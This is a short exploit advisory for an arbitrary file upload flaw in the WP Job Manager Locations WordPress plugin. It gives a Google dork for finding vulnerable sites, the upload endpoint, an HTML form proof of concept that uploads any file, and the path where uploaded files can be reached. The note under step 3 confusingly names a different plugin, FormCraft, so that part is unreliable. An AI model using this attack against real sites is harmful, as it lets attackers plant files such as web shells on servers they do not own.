# Exploit Title: WordPress Plugins WP Job Manager Locations - Arbitrary File Upload # Google Dork: Index of /wp-content/plugins/wp-job-manager-locations # Date: 4 June 2017 # Exploit Author: AlHikam AM # Vendor Homepage: https://www.wordpress.org # Software Link: https://id.wordpress.org/plugins/wp-job-manager-locations/ # Tested on: Windows 7 1. Google Dorking 2. Exploit the websites https://localhost/jm-ajax/upload_file/ 3. Vulnerability? FormCraft {"files":[]} 4. PoC : <form method="POST" action="https://localhost/jm-ajax/upload_file/" enctype="multipart/form-data"> <input type="file" name="files[]" /> <button>Upload!</button><br/> </form> 5. File Access : https://localhost/wp-content/uploads/job-manager-uploads/files/YYYY/MM/your-files.jpg Great : Indonesian Freedom Security - Base POM303